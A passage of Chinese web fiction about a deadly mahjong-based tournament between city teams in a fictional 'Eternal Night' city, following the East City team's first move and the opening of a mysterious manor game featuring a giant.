音乐不停,从街头风格变成金属摇滚,灯光跟随着节奏渐次亮起,绕着巨大的开幕式会场点亮四周,最后“啪”地打得这里如同白昼,强光聚集在圆形会场的正中央,那庄严宏大的“永夜城”艺术模型奖杯上。
其他几个方向的舞台重新被照亮,参赛者们交头接耳,议论纷纷。
“南城这次出了朱三筒。”周彤的声音又逐渐低沉。
姚紫文爽朗一笑:“不要担心了,这次我们坐庄,包赢的。”
旁边,罗冰是首次参加四方战,他小声问了句:“小六姐,这南城的人咋都是1、2、3?一条二条三条、一筒二筒三筒……”
“哈哈!臭大饼,被我抓到了吧!你没做功课!”范诺琪打断:“南城最近几届都这样,感觉就是人太多了,不知道选谁进四方战,所以就123、456、789这样轮换。上一届是789,这一届就123了。”
说着说着,饶是性情开朗如范诺琪,语气也逐渐变得低落起来。
其他城区好不容易“飞升”了点人,有的选择躺休眠舱,有的在酒店摆烂,有的止步于“抢风牌”的过程……千辛万苦东拼西凑点人,进一届四方战就得死伤大半。
再看南城选择参赛者的方式,几乎是胡来!
才明白那句“南城的飞升者要排队领牌面”真不是夸大其词。
“这次没对上那个谁,还行。”周彤又补一句。
还有让周彤怕的人?
沈墨棠还是第一次听到青六万说出这种话,好奇地回头瞥了她一眼。
“怎么了?”周彤的眼神冷冷对上。沈墨棠轻咳一声,还是问出口:“那个谁?”
“九条。朱九条。”
“我觉得还是朱五万难对付。”姚紫文插话,伸手又来捏沈墨棠的肩膀。八戒的手指紧张而僵硬,捏在肩上的十指像钢筋一样险些戳破皮肤。
姚紫文继续道:“还有六条,朱六条也很麻烦。”
“还有、唔……”邓向南沉吟一声,收住了话只说一半。
“很多人,南城每个人都很厉害。”王潇补足了参加过往届四方战的“老选手”的心思,难得一见端着严肃表情:“我、琪琪,八戒、小六姐、筒子哥,之前都参加过四方战,都跟南城打过交道,知道不好对付。”
“但没关系,咱们这次坐庄,有先手优势。”
她回头,熠熠闪烁的目光扫过每个人,露出标志性的微笑:“我觉得我们能赢。”
“我们能赢!”
宋白河举起手,突如其来的打气动作令他成为所有目光的焦点,下一秒他便尬尴直挺挺地站在原地。
青七筒徐天然重重拍了下他宽阔的背:“当然!”
72. 四方战3
“4个城区,4支战队,40位亡命之徒已经完成集结!”
红蟹的怒吼声中溢出多余的激情:
“第31届永夜城四方战,战火点燃!”
“鹿死谁手,花落谁家,谁将落败,谁能问鼎,我们即刻进行!”
“开~~~牌牌牌牌牌!!!!”
尾音拉长,音乐骤停,闪烁的灯光也凝固,空气中飘荡着一股紧张的味道。
忽然间,如惊雷乍起,剧烈的鼓点咚咚咚打得射灯乱闪,圆形会场中央缓缓升起一个升降台,台上俨然是一个麻将桌和四张长凳。
无数镜头怼着这张麻将桌,不间断全城直播台面上的场景,以示公允。
根据四方战的开幕流程,“出场”之后便会进行“开牌”。
一个个升降台接踵升起,从麻将桌台子的四个方向延申出来,接到东、南、西、北四个半圆形舞台处,形成四条像桥一样的走道。
王潇打起精神,回身举起手,范诺琪、姚紫文、周彤、邓向南自然地和她击了掌。
“接好运,接好运,接好运……”王潇嘴里念念有词。
其他成员也瞬间明白,这种迷惑行为与其说是“迷信”,更像是某种加油打气。
四方战的主游戏规则和麻将类似,但有所变形:
【先由东、西、南、北各一名玩家进行抓牌——闲家抓16张牌,庄家抓17张牌——这是整场四方战每个阵营的初始牌型。】
【进四方战后,由庄家先手,选择一张牌打出。公布出牌后,若其他阵营没有“吃”、“碰”、“杠”的行为,则根据打出的牌决定接下来进行的是什么游戏。】
【每种不同的花色都对应着不同的游戏类型,例如索子牌触发运气+心理游戏、筒子牌偏体力游戏、万子牌偏智力游戏、风牌触发“庄闲游戏”、箭牌触发“抢夺战”、花牌可以直接获得补给物资。每个游戏的人数要求也从1-5不尽相同。】
【确定游戏后,出牌阵营能提前知晓游戏规则,早做备战;其他三个阵营只知道游戏人数要求,需要盲选己方成员进游戏后,才能获悉具体游戏规则。】
【赢得游戏的人,可以进行摸牌、打牌,然后进行下一个游戏……在这过程中,若是有其他阵营“吃”、“碰”、“杠”,则将会截住出牌,转由自己阵营出牌,触发相应的游戏。】
【四方战如此循环进行,直至有人“胡”牌,游戏结束。】
根据规则,由于出牌的阵营能提前知晓游戏规则,所以“庄家”的先手优势就会被放大。只要不是第一张牌就被其他阵营“吃”、“碰”、“杠”的话,基本都能先赢一场!
另外,由于每个阵营的初始牌是随机抽取的,所以王潇“开牌”将抽到什么样的牌型尤为重要。
毕竟在永夜城里,“运气”也是实力的一种。
她此时的“接好运”行为也就可以理解了——与每个成员击掌,接收每个成员的运气,上台开一手好牌!
“走了。”王潇脸上挂着让人心安的微笑。
“加油老大!”、“加油!”、“好运连连!福气满满!”、“不要有压力”……
在众人的鼓励和期盼中,王潇被寄托东城的开牌希望,款步走向场地中央,坐到麻将桌前。
……
开牌结束。
王潇作为庄家,摸了17张牌,并拿着一副特殊眼镜回来了。
通过这个“微端眼镜”,就可以在游戏中远程操控出牌摸牌,无需再回会场。而会场牌桌的动态,将在永夜城不间断全程直播。
“怎么样,老大?”大家殷殷期盼一手好牌。
王潇叹了口气:“一般般……进去再说吧。”看表情略显苦涩,估计不是什么好的起手。
四个阵营都开完牌了,红蟹的声音再次响起:
“各位玩家请注意!游,戏,开,始!”
四条走道上,都凭空出现一扇发光的椭圆形的“门”,奇特诡异。
“没事,老大。我们走吧,早点进去找[金]。”姚紫文催促了一句,当先走向传送门。
“嗯,进场再说。”王潇也招呼着大家。
四方战的麻将规则中,存在额外的[金]牌——除了牌桌上的108张数牌、28张字牌、8张花牌共144张牌之外,还有5张特殊的[金]牌藏在四方战内。
四方战一共提供五个“大本营”,每个大本营中都藏着一张[金]牌。
[金]牌可以视做任意一张牌,用于替换掉手牌中的任意一张,通俗而言就是“赖子”或者“万能牌”。
游戏开始后,四支战队会被随机分配到四个不同的“大本营”中,只有参加游戏的人员才会前往相应的游戏场地。剩余成员将在自己的“大本营”内行动,商讨策略、摸牌打牌、生存休憩……四方战是一场持久战,通常要持续数百甚至上千小时,里面没有永夜城那么便利的生存科技。
先一步进入大本营,就能先一步熟悉大本营环境,寻找[金]牌,对凑成“胡”的牌型助益良多。
虽然这几秒钟确实差得有限……
沈墨棠跟在队伍中,跨步踏入门内。
几乎毫无感觉,开幕式会场的激情音乐瞬间被抛诸脑后。眼前尽是苍翠的花草树木,天上似乎还有久违的阳光洒落,空气传来树叶和鲜花的清香,安静的环境里鸟儿声声啼鸣。
环境,是真的。
不是【蓬莱】里面那种科技营造出来的假象。
“我去!”罗冰张大了嘴,仰着脑袋张望四周。
徐天然同样是第一次参加四方战,也触动于这美丽的大自然,惊叹道:“这……就是四方战大本营啊!”
停在前方的王潇回头,贪婪地呼吸了几口空气之后,重重吐出一口浊气:“对,大家集中一下。这里就是个大型植物园,是我们的大本营了。”
这么想来,“寸土寸金”的东城区确实没见过什么植物园。
只是,植物是真的,可那洒满整个植物园的阳光,应该也是科技吧?
沈墨棠遮着眼睛看天空,视线穿过美得不真实的树梢,被光闪了一下。
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10个人全部都进入植物园后,椭圆形的传送门“咻”地彻底关闭。
“老大,那边有提示!”罗冰跑得远,在一处类似展览温室门口的地方停下,指着告示栏。告示栏位置显眼,电子屏幕显示着两句与环境格格不入的话:
【请庄家通过微端眼镜进行操作,在30分钟内决定您方要打的牌。倒计时剩余:28:55】
【注意:若倒计时结束前未操作,您方将失去出牌权。】
这就开始倒计时了?
真是一刻都不得闲!
“先说一下,”王潇拍拍手,提醒大家注意,“之前规则都说清楚了,我们坐庄,先出牌。其他城区要等我们出牌后决定是否吃、碰、杠……如果没有的话,就会对我们公布游戏规则,等选好人进游戏,其他城区才会知道规则……这些都清楚的吧?”
“明白,老大。”姚紫文有些着急:“我们听你安排,我们快去找……”
“紫文,别急。”王潇语速放缓,“我们要在这里呆挺久的,大家先适应一下环境。还有就是我先跟新人共享一下情报——如果和上一届四方战一样的话,咱们这个大本营应该是‘木’。就是说一共有金木水火土五个大本营,咱们东城属木,所以给分配了植物园。”
“嗯,有听说过。”
“其他的可能北城分到‘水’、南城分到‘火’、西城分到‘金’之类的……总之还有一个大本营是未激活状态,里面也藏着一张[金]牌。每个阵营应该都能找到自己大本营的[金],那谁能抢到第五个大本营的[金],谁就有更大的获胜机会。”
“明白。”、“明白,老大。”、“要抢营地,是需要‘红中’吧?”
规则里,三种不同的箭牌分别触发三种不同的“抢夺战”——【中】触发的是“营地抢夺”,胜者阵营能更换到自己想要的大本营中;【發】触发的是“替补抢夺”,胜者阵营可以召集城内的一名替补队友;【白】触发的是“视界抢夺”,胜者阵营可以窥见其他阵营的手牌。
姚紫文更急了,原地做着热身:“老大,那咱们有‘红中’吗?”
“暂时没有,而且我们也要先找到植物园的[金],再考虑换大本营。”王潇拿出从开幕式主会场带进来的微端眼镜,招了招手:“我先跟大伙说说咱们的牌吧,然后一起决定先打哪张。”
她按下投影,眼镜将麻将桌的牌手视角投射出来,大家都能看清楚牌型:
【三万】、【七万】、【九万】、【二筒】、【三筒】、【三筒】、【八筒】、【二索】、【四索】、【五索】、【六索】、【六索】、【七索】、【七索】、【西风】、【北风】、【春】。
根据麻将规则,拿到“花牌”将自动进行“补花”的操作,于是开局的【春】被消耗成为一次“补给请求”,并兑换成一张【五万】牌。
“哎哟喂……”
范诺琪盯着这手牌,不禁扶额:“老大,你手气没谁了……这三五七九万的……黑成这样……”
“哈哈哈。”王潇的笑声再爽朗,也都掩饰不了尴尬。
73. 四方战4
王潇笑完,轻咳一声,将众人的注意力拉回来:“好了,这就是咱们的牌型,大家伙赶紧商量商量怎么打吧!”
几个参加过四方战的老人你看看我,我看看你,最后都将目光集中到范诺琪身上——毫无疑问,这个满头五颜六色发卡的萌妹是大家公认牌技最高的。
“我看过四方战的规则,只需要胡牌就行,不用考虑‘役’或者‘自摸’、‘游金’之类的翻倍玩法。”范诺琪分析着,用手指转了转发梢,有些遗憾地轻摇脑袋:“老大,常规玩法就是先丢字牌或者1、9……咱们没有单独的1、9,但又不能先打西风、北风。”
根据游戏规则,四方战里的“风牌”会触发“庄闲游戏”——就是由相应的阵营坐庄,其他三家作闲,进行“1V3”对决——若是庄家赢了,下一个出牌权自然归庄家;若是闲家赢了,到时候还得根据游戏过程争夺出牌权。
目前东城拥有先手优势,自然不希望做这种危险的尝试,白白葬送新人战的成果。
“咱们也没有中、发、白,而且打字牌也容易被碰。嗯……”范诺琪沉吟片刻,抬头道:“那就打八筒吧。筒子牌是体力游戏,咱们也擅长,按照计划来。”
游戏前东城制定了计划,要利用好“做庄先手”的优势,尽量打东城擅长的体力游戏,先争取保住出牌权。
筒子牌就是最好的选择。
“八筒?我觉得可以。”王潇征求大家的意见:“你们怎么说?”
自然无人反对。
“那就这样定了。”她没有纠结,拍拍范诺琪的肩膀,戴上微端眼镜,远程操控会场麻将桌出牌——【八筒】
……
“哎呀呀呀!”姚紫文止不住紧张,原地疯狂热身。
她一把拉过沈墨棠,用力按捏后者的肩膀。
沈墨棠疼得面容扭曲,只听到姚紫文在耳后碎碎念:“不要被吃啊,不要被碰,不要杠,不要不要不要不要……都别来碰我们!”
姚紫文的担心不无道理。
如果开局就被“吃”、“碰”、“杠”,东城坐庄的优势便荡然无存——新人战算是白赢了!
作为四个城区里面赢得最少的一方,东城只赢过5次四方战,而且此前几乎没坐过庄,好不容易才拥有这一次千载难逢的机会。
“等10分钟。”王潇指着告示栏。
【等待其他阵营确认出牌。倒计时剩余:09:52】
十分钟内,若是其他阵营没有“吃”、“碰”、“杠”的操作,那【八筒】牌就生效,触发相应游戏。
姚紫文忐忑得上蹿下跳,手里的力道也不加控制:“啊呀呀呀呀!好紧张!”
“小九要被你捏死了。”周彤打断她的“施暴”。
直到这时,姚紫文才发现沈墨棠那痛苦万分的表情:“哎呀!不小心太用力了!”
“没事。”沈墨棠终于长舒一口气。
经过这段时间的相处,沈墨棠清楚教练的性情,容易紧张,藏不住事。
每当姚紫文紧张的时候,就会下意识去给别人做肌肉按摩。目前最顺手的,无非就是沈墨棠了,好捏。
旁边徐天然笑着打趣:“你是怕被碰走,还是觉得马上就要上场啦?”
如果【八筒】成功触发游戏,大概率会是偏体力的类型。十人团队中体力最好的几人毋庸置疑:青九筒邓向南、青八条姚紫文、青三筒宋白河。
至于其他几人倒是也还行,算作第二梯队,例如周彤和徐天然、罗冰。
王潇当初是靠设计游戏,积点飞升。虽然她体格身段都很优秀,终究不是体力见长。
范诺琪擅长的游戏偏心理、社交;米米目前还未展现实力,不好定义,但肯定不属于体力挂。
沈墨棠默默扫视一圈,心里大致为每个人找好定位。
姚紫文清楚自己很可能要参与第一场游戏,回了徐天然“都有都有”,一边深呼吸摆摆手,找了附近的长椅坐下,试图借助静谧的环境进行放松。
果然,健身训练和上战场是两码事!
……
值得庆幸的是,10分钟过后,【八筒】生效了。
“规则来了。”王潇迅速招呼,“大家快看一下,只有20分钟时间选人。”
公告栏上的文字:
【即将开始游戏——“巫凌海庄园”(难度:八筒)。】
【人数要求:3人。】
【请出牌方[查看规则]并确定人选。】
【倒计时剩余:20:00】
没有迟疑,王潇驾轻就熟点开[查看规则],其余成员也都凑到旁边。
片刻后。
“老大……这不是体力游戏吧!?”范诺琪歪着脑袋,说出大家的疑问。
大家都仔细阅读了【巫凌海庄园】的游戏规则,除一条会在游戏过程中揭晓的“隐藏规则”外,其余的规则根本和体力不搭边,更像是什么社交、心理博弈之类的游戏。
不是说好筒子牌偏体力的吗?
罗冰嚼着不知哪来的嫩叶梗子,突然“噢”的一声,一吐梗子,恍然大悟般:“咱懂啦!现在不是只有咱知道规则吗,其他城区的人没见过。他们知道八筒偏体力,肯定都会挑些傻大个……不是说你啊南哥你别应激嗷……他们选体力挂来玩,这可不中招!”
反向思维?
这就是先手玩家的优势?
罗冰的话令大家面面相觑,几个人点点头。
“臭大饼,这次反应还是蛮快的嘛!”范诺琪难得对罗冰竖起大拇指,随后她转向王潇,一拍胸膛:“老大,这游戏该我去,筒子哥他们可以先休息。”
王潇没有回应。
她只是摇头,目光仍定定落在游戏规则上。
“老大?”范诺琪又叫了声,其他人也都疑惑地看着王潇。
宋白河读完规则,视线下意识地寻找沈墨棠,晃了一下才发现她已经独自走到一边,赶紧跟了上去:“那个……你……怎么看?”
沈墨棠站在展览温室的花坛前,看着眼前这些争奇斗艳的植物,刘海下的双眸似乎也缤纷起来:“你觉得呢?”
“我?”宋白河回头看了眼围在公告栏处讨论的队员们,耸耸肩:“我不知道我想的对不对……”
“说说看。”
沈墨棠依旧盯着花圃,视线顺着旁边一颗乔木,爬到上方。她抬头观赏碧绿的枝叶,语气平缓:“你看过规则,肯定有自己的理解。”
“我……咳……”
“每个人都有自己的理
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解,说吧。”沈墨棠像是对眼前那颗乔木说话。
她侧后方的宋白河顿了顿,犹豫片刻,终于挠着后脖子尝试开口:“那个……是一共12个人的游戏,每个阵营3人……”
“嗯。”
“呃……进游戏后要抽身份,有各自的[喜爱]和[憎恨]……然后每天晚上选房间,最后是算团队的总分……”
“这些都是规则里说的。”沈墨棠突然转身,“我看过规则。”
“哦哦……”宋白河看着沈墨棠即将皱起的眉头,赶紧整理语言:“……同阵营的不能选同一个房间,不然会掉血……所以不同阵营的人会在同一个房间,多人房会变成‘凶间’,只有一个人能敲铃、逃灾……”
眼见沈墨棠眉头越来越紧,宋白河赶忙话锋一转,不再重复规则里已经有的内容。
他开始说自己的理解:“就是!那个那个……游戏里玩家除了规定行为外,其他时间都可以自由活动……我觉得,现在还不知道游戏场地大小,如果是在一个很小的地方的话,会不会……会不会有可能会演变成肢体冲突?”
“哦?!”
沈墨棠眉头一舒,双眼一抬,瞥了宋白河一眼:“然后呢?”
“然后……”他被她的双眸吸引,一时失语。
阳光透过乔木的树梢落下,撒得满地的碎金。
“已经很不错了。”沈墨棠收回视线,又转过身去,换了眼神继续观赏花圃。
宋白河只听到她淡得如烟般的声音:“这确实是个体力游戏。”
……
“这游戏还是要比体力。”
公告栏处,神色凝重的王潇终于开口:“规则里没说的,才是重点。”
“规则里没说的?”范诺琪困惑地把弄自己的发梢,又浏览了一遍游戏规则:“老大,你是说‘隐藏规则’吗?”
王潇严肃摇头:“不是隐藏规则。是没有明说的规则。”
“没有明说?”
“对,暴力。”
“暴力?”
范诺琪还没反应过来,就听见罗冰一拍大腿:“卧槽!是这种体力啊!!?”
规则里,没有对玩家的活动进行限制,就意味着直接将人打死也可以!
——八筒游戏《巫凌海庄园》的危险性远超想象!
米米回想起新人战中,罗均均被司徒雅徒手锤烂脸的血腥画面,悄悄扶平手臂上的鸡皮疙瘩。
现场出现短暂的沉默。
只有公告栏上的倒计时跳动:
【04:21】
【04:20】
【04:19】
【04:18】
“只能我去了。”周彤淡淡开口。
如果是“这类”游戏,在场的所有人中,恐怕她最擅长。
周彤身后,邓向南也在默默地拉伸块块筋肉,准备上场。
不论何种游戏,本质上都是以死相博。只不过直接的肉搏对大部分人而言,还是太过血腥残暴,难以接受。
“南哥先不着急。”沈墨棠跟宋白河走回人群。
她眼神先和周彤对上,两人眼中皆闪过一抹锋芒。
随后她看向王潇,抬手指了周彤、宋白河,还有自己:“我们三个进去。”
74. 巫凌海庄园1
左边?不,右边?
微微的酸痛感来回晃动,分不清具体的来源,身体像是被罩在一张大网中,无法动弹,难以挣脱。人们常说噩梦中只要脚下一蹬,就能立刻醒来,但这里却不是。
这里是一场更深的噩梦,梦魇来得更加真实。
厚重的眼皮跳动,逐渐睁开,露出浅青色的眼瞳,从迷离到清晰。
眼前是颠倒的世界,颠倒的门和窗,颠倒的多宝架和瓷瓶,颠倒的壁雕。脚下天花板,头顶红砖地面。
席炎发现自己被倒吊在半空中,张嘴骂了句:“卧槽,挂腊肉呢?”
他两条胳膊反绑身后,粉色的卫衣兜帽垂在脑后,衣摆因为重力卷在胸下,露出结实流畅的腰肢,米色休闲短裤的裤头箍在肚脐处,裤腿外是两条粗壮的腿,脚踝被粗麻绳绑在一块,吊在屋顶一根发黑的大铁钩上。
扫视了一圈周围,席炎稍微晃了晃身体,确认房间内只有自己一个人,孤零零地挂在正中央。
“就这?”
健硕的身体猛地绷紧!
他轻松团腹,曲起上身,被反绑的双臂绕过屁股,手腕挪到腿弯处,再一用力,便抬到脚踝,抓住小腿往上,碰到大铁钩。
手腕、脚踝都是用粗麻绳绑着,一圈一圈,根本解不开。
但绳子总归要吊上铁钩。
有力的十指攥紧铁钩,微抬起折叠的身体,两腿伸直,让脚踝处的绳子脱离铁钩,随后曲身,落地,一气呵成。
虽然手腕脚踝还没解绑,但已经可以正常站立活动。
“小儿科。”席炎甩了甩一头酒红色的卷发,嘴里没闲着:“来来来,来看看这玩的啥玩意儿……”
他一边尝试拧着手腕的麻绳,一边端详着房间的摆设,熟练得像个“逃脱专家”,丝毫不耽误时间。
房间不大,只有约4~5平米,光线从小小的百格窗透进来,清冷微弱。墙角有一张长凳,木的,破破旧旧,八仙桌用的那种。一个多宝架立在对窗的另一面墙,架子上摆着四个落满灰的瓷瓶,最大的像个肥胆的花罐,最小的像个酒壶,壶嘴对着门。
房门的漆掉得差不多了,看得出是实木材质,席炎跳了一步去试着推门,门外有锁的声音,门很重,锁也很重。
非要破门的话,对席炎来说也不过是“就这”的难度,只不过暂且不着急。
屋外很安静,什么声音也没有,静得让人不舒服,仿佛世界只剩下这个屋子,被忘记了。
“哇,这天书啊?”席炎转身,仔细瞧了正对门的墙面,嘴里还是嘀咕着。
房间是青石墙,涂了灰又掉光了,显得脏兮兮的。正对房门的墙面雕着满墙的字,像是铭文或者什么东西,以席炎几乎忽略不计的文化水平来看,只能感受出这些可能是古代的字?
打眼上下左右瞧了会,倒是认得里面像是有“天”、“申”、“力”还是“刀”之类的字样,或许是一篇什么文章也说不定。
“这游戏该不会要考文化的吧……早知道应该让小四眼进来。”席炎立刻对雕壁失去兴趣,转而再一次环顾四周,还尝试看看百格窗外,“他们两呢?不是每队三人的嘛!”
窗外景象看得不真切,似乎有影影绰绰的竹枝,一些翠绿的长叶晃悠。
“卧槽,还真是个庄园?”
席炎作为南城的“朱一万”,与“朱一条”辛乙初、“朱三筒”柯思思一起,参加了【巫凌海庄园】。
南城一向秉持自愿参与的原则,谁想进游戏都行。
当公布“八筒”是三人游戏的时候,老仙儿辛乙初立刻跃跃欲试;柯思思作为他忠实的信徒,自然枝附影从。
席炎自己也说不清楚,为什么会想要掺和进这师徒俩,跟他们组了一队。
对了,老仙儿!
辛乙初肯定认得墙上这些字的吧!
席炎又瞧了眼壁雕,视野边缘突然闪过阴影,窗外像是有什么东西掠过,瞬间遮挡全部的光线,又瞬间离开,几乎不到一秒。
低低骂了句粗的,他的身体条件反射往旁边一跳,再看百格窗透进的光,依旧清冷。
窗外有什么东西?
双手双脚还没解绑,要不要先把麻绳割了?
席炎侧目紧盯着百格窗,余光瞥了眼架子上的瓷瓶——最简单的方式是把瓷瓶碎了,用碎片直接磨断粗麻绳。
但窗外的东西真的很让人在意啊!
都进游戏了,没有主持人出来讲规则吗?
席炎脑子乱乱的,想了很多,又像是什么都没想,只是本能地防备窗外,感受到切身的危险。
又来了!
阴影又瞬间盖住从百格窗透进的光,但并不是窗户被遮住的那种感觉,而是窗外的光被挡住了,与窗户无关。
那遮挡物必定很大,巨大,才会像云一样挡住天光,又不让屋内完全黑暗。
很快,清冷的光线再次透进来。
“啪!”
瓷瓶在红砖地上碎成数块。
一不做二不休,席炎觉得反正自己是要脱困的,现在还没什么游戏规则限制,先割断麻绳再说。
也可能这【巫凌海庄园】玩的就是逃脱游戏呢?
那自己可不就是来对地方了!
席炎挑了块利一点的碎瓷片,刚贴上手腕处的麻绳,耳朵一动,就听见有种细细簌簌的声音响起,从窗外传来。
人类对未知除了恐惧,还有止不住的好奇。
席炎的好奇明显大过恐惧。
他嘀咕两句“什么啊”,跳一步到窗边,一边割麻绳一边凑眼瞧向百格窗外。
阴影再一次笼罩。
是眼睛。
巨大的眼睛。
席炎透过百格窗看到的,是大得让人第一眼都怀疑那是什么东西的眼睛,虹膜中布满密密麻麻的丝绒状物,球结膜像是巨大蠕动的粉色蟒蛇,泪阜像蜗牛,清晰可辨。这眼睛长在一张比房子还大的人脸上,脸庞皱巴巴的,如同揉碎的纸。
不管那是什么东西,它测过脸来,装得下一个人的眼球瞬间偏转,黑洞洞的瞳孔就对准这边,和席炎对视。
席炎连“卧槽”都喊不出口,直接吓得坐倒在地上,差点划破自己的胳膊。
窗外的阴影瞬间又离开。
那细细簌簌的声音,是那玩意儿发出的?!
是个……在庄园里游荡的……巨人吗?
看到我了?
席炎反应过来什么,身体猛地一抖,开始专心割开手腕的麻绳。
得赶快给自己解绑!才有逃跑的希望!
“哔——”
一声尖锐的哨响划破空气,吓得席炎差点又割到手,不由得爆出了刚才没来得及骂的话。
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哨响同样来自窗外,尖尖的,很响。
是……是那个巨人吹的哨?
席炎想象着那大眼巨人用它的血盆大口,叼着一个卡车大小的巨大哨子,用力吹响的样子。
“太邪了!”
手腕的麻绳已经被割得起刺,但还没办法彻底挣脱。
这时候,门被打开了。
哨音太响,以至于他都没听到门锁的声音。
“咿——”
木门给人感觉有些过于厚重,被推开时发出干涩沉闷的声音。抬眼望去,出现在门外的“人”脸熟又危险。
比门还高的,脑袋几乎顶到天花板的,穿戴黑色雨衣、防毒面罩、黑皮手套、黑雪地靴的“陶瓷娃娃”。
见到这东西,无非就两种情况。要么是你在永夜城犯了事,要么是……
“游戏总算开始了。”席炎将手中的瓷片一扔,站起身来。身为老玩家,无需多言。
陶瓷娃娃的防毒面罩内发出合成机械音:“请玩家前往燕台集合。”
……
齐刘海下的目光淡淡扫过周围。
沈墨棠跟着身前的“陶瓷娃娃”,走过穿花游廊,飞檐外是碧空万里,地上的绿植老老实实呆在仙女靠的外边,被修剪得错落有致,又从不逾越。
这里真是个庄园?
古香古色,有种民国风情。
沈墨棠皱起眉头。
虽然已经提前知晓游戏规则,但游戏的展开实在是让人难以理解。
刚才被像条腊肉倒吊在房间里的时候,恍惚间还以为进错游戏了。直到“陶瓷娃娃”进门来松绑,并强行拉着出门,要沈墨棠“前往燕台集合”,才知道游戏其实还未开始。
游廊尽头,便离开了屋檐,踏上蜿蜒的曲桥。
这里都不能称为“池塘”,应该是“湖”的大小,相比起来曲桥桥面很窄,最多也就堪堪两人并肩,真怀疑身前那陶瓷娃娃会不会掉水里去。
湖水并不清澈,死掉的莲蓬在湖底、湖面、湖水中到处都是,半只游鱼也没有。
沈墨棠微微抬眼,看向远处,不动声色。
曲桥不止她走来的这一道,还有许多其他方向的曲桥,弯弯折折,犹如钉裂的玻璃纹路般,将湖面隔成大小不一的块。
每一道曲桥上,此时都有陶瓷娃娃,各自领着一名玩家靠近。
白衬衫的西城、哥特风的北城、粉色系的南城……
当然,还有小六姐周彤和宋白河。
沈墨棠眼神对上队友,彼此给了一个简单的问候。
很好,暂时全体无损。
对于【巫凌海庄园】的游戏规则,东城已经提前知晓,只不过从未想过是这般展开。如果进游戏后,三人还没会面就被人做掉,那可太糟糕了。
幸好,现在看来,12名玩家正由12个陶瓷娃娃领着,前往湖中心汇聚,游戏还是要在玩家到齐后才能正式进行。
湖中心,是一座人工岛,岛上假山堆叠,宝瓶门孤零零借着景,鹅卵石铺成的小道曲径幽深。至于岛的正中央,看不见如何登上的最高处,突兀矗立一座戏台,石基木面,红漆圆柱撑着歇山顶,雕梁画栋。
本应令人感到雅致的场景,此时只有空荡荡的寂寥。
但很快,燕台上就会热闹起来。
12个人马上齐聚一堂。
75. 巫凌海庄园2
燕台三面观,双层,算上台前区域总共有六根角柱,屋顶斗拱设雀替大斗,横陈的大檐坊在台上、台前都围了一圈,绘着一出出戏曲海报。
沈墨棠和在场的许多玩家一样,仰头端详。
或许这些戏对当年那些老戏迷来说耳熟能详,但对沈墨棠而言就只是平面物料。
“越剧。”
周彤坐在沈墨棠右侧:“上面是《梁祝》的剧照。”
沈墨棠默默点头,不置可否。
再看坐在左侧的宋白河,他满脸防备,眼神时不时瞟向北城的人。
经由12个陶瓷娃娃的“引领”,参加【巫凌海庄园】的玩家齐聚燕台。
戏台上提前放了12张圆凳,3个一组,分四角摆放,围着台中央。自然而然的,玩家分阵营坐到一起,与古朴的戏台格格不入。
沈墨棠、宋白河、周彤坐在戏台左侧靠里的一角,背对山墙。
至于站在每个玩家身后,既像是保镖,又像是绑匪的陶瓷娃娃,因为在环境中违和得过头,反倒有种见怪不怪的感觉,仿佛它们本就该是这里的东西,是什么“赛博戏曲”的龙套配角。
陶瓷娃娃都是一身黑,北城的三人也是一身黑,坐在同侧靠外的一角。
宋白河盯着的,就是北城三人中令他印象深刻,不得不防备的“玄一筒”司徒雅。
“这都是黄梅戏咧。”
南城有个奇怪的大叔,操着浓浓的乡音,对檐坊上的图画评头论足,仰起的脑袋像鸟一样转着:“《女驸马》、《天仙配》、《牛郎织女》……哎哟,《王小六打豆腐》都有,这上面全是黄梅戏嘞。”
虽然还不确定这大叔说的是真是假,沈墨棠还是不由得睨了小六姐一眼,周彤无声地挺直背脊,沉默得像是刚刚从没开过口。
沈墨棠对戏曲也不是很懂,不予评价。
“卧槽!你个老仙儿,先别瞎说了!”南城的另一个男人开始坐不住,拦了大叔一把,眼神避开其他城区的人。
还不清楚游戏具体是什么。
万一跟这些戏目有关,那可不能轻轻松松就将信息分享出去!
大家都是老玩家,深知细节决定成败的道理。
“对我师父放尊重点!”南城的小妹妹又去扯第二个人的卫衣。
南城玩家两男一女。女的是个小姑娘,瘦瘦的小脸,穿着粉色T恤、牛仔短裤、玫瑰色的裤袜、粉色小靴子,看起来青春妖冶;年轻一些的男人二十七八岁,粉色卫衣、休闲短裤,兜帽里露出些许酒红色的发丝,酷帅有型。
至于那个正心无旁骛欣赏剧照的大叔……一言难尽。
他应该年过五十,胡子发白,但浓眉大眼,有种苍老硬朗的感觉。穿着脏兮兮的粉色针织毛衣,咖啡色的工装裤,脚踩很少见的粉色男士凉鞋,仿佛是故意来恶心人的穿搭。
“咱不说,咱不说,多嘴了我咧。”大叔一副吊儿郎当的语调,还真就此住了嘴。
事实上,其他城区的玩家都竖着耳朵,想听听这位被叫做“老仙儿”的大叔有何高见。
登台的时候,陶瓷娃娃早已发出提示:请玩家就坐等待,不要随意走动。
成熟的玩家都不会蠢到去试探它们的底线。
因而12名玩家只能这样干坐着,也不见有主持人宣读游戏规则,这种游戏开场实在有些异于往常。
要是这时候,大叔愿意讲点见解,大家也乐得听。
果然,西城的人开口搭话:“哎,老头,你懂点戏啊,说说看。”
搭话的也是个老男人,方正脸,身形高大魁梧,但脸上的肌肉已经松弛耷拉,或许年轻的时候是个壮汉,现在更多像个大块头流浪汉。
西城的三个玩家都是男性,除了这个老男人,另两个西城玩家年纪较轻,穿着白衬衫打领带的样子仪表堂堂。一个帅气成熟,和大块头同时看向南城;一个青涩可爱,抬起眼神避开。
老仙儿斜着瞟了西城一眼,话锋一转:“啊对对对,咱就问,你们谁见过巨人咧?”
巨人?
明显能感觉出,当这话问出口时,在场的几名玩家都是一顿,各自提起注意力。
沈墨棠倒是反应平平:什么巨人?这恶心人的大叔在说什么鬼话?
但看其他人的样子,似乎大叔并非完全胡诌,特别是南城的兜帽男那副“一边想要制止,一边又怕暴.露更多信息”的纠结模样,让人感觉“巨人”的说法煞有介事。
相比起来,南城的小姑娘神色如常,一双眼自顾自打量燕台外的假山湖景,仿佛从她“师父”口中说出什么来都是应该的。
老仙儿顿了顿,见无人回应,自觉无趣,转而自言自语嘀咕“真的是看错了啊”,便停了嘴。
“巨人是什么。”
北城的司徒雅突然发话,这个锅盖头给人一种执拗而简单的危险感,嗓音低低的,含着沙子似的。
他眼神若有所思,瞪着老仙儿:“快说,巨人是什么?”
沈墨棠一皱眉:真有“巨人”?
